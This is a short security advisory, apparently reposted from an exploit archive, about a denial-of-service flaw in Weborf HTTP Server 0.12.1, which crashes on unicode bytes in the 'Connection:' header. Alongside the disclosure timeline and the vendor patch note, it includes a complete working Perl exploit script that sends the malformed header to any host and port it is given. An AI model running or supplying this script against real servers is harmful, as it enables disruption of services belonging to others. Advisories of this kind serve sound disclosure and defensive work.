Weborf HTTP Server Denial of Service Vulnerability

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Weborf HTTP Server Denial of Service Vulnerability
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[Software]
- Weborf HTTP Server
 
[Vendor Product Description]
- Weborf is a lightweight Web server written in C. It supports IPv6
and basic authentication. It doesn't implement the full HTTP
specification, but can be used to easily share directories or files.
 
[Bug Description]
- Weborf HTTP Server can't handle unicode characters in "Connection: "
general header-field leading to a Denial-of-Service flaw
 
[History]
- Advisory sent to vendor on 06/21/2010.
- Vendor reply 06/22/2010.
- Vendor patch published 06/23/2010
 
 
[Impact]
- Low
 
[Affected Version]
-Weborf 0.12.1
- Prior versions may also be vulnerable.
 
[Exploit]
 
#!/usr/bin/perl
use IO::Socket;
 
       if (@ARGV < 1) {
               usage();
       }
 
       $ip     = $ARGV[0];
       $port   = $ARGV[1];
 
       print "[+] Sending request...\n";
 
       $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";
       print $socket "GET / HTTP/1.0\r\n";
       print $socket "Connection: ". "\0x99" x 4 ."\r\n\r\n";
 
       close($socket);
 
       print "[+] Done!\n";
 
sub usage() {
       print "[-] Usage: <". $0 ."> <host> <port>\n";
       print "[-] Example: ". $0 ." 127.0.0.1 80\n";
       exit;
}
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#  0day.today [2018-02-06]  #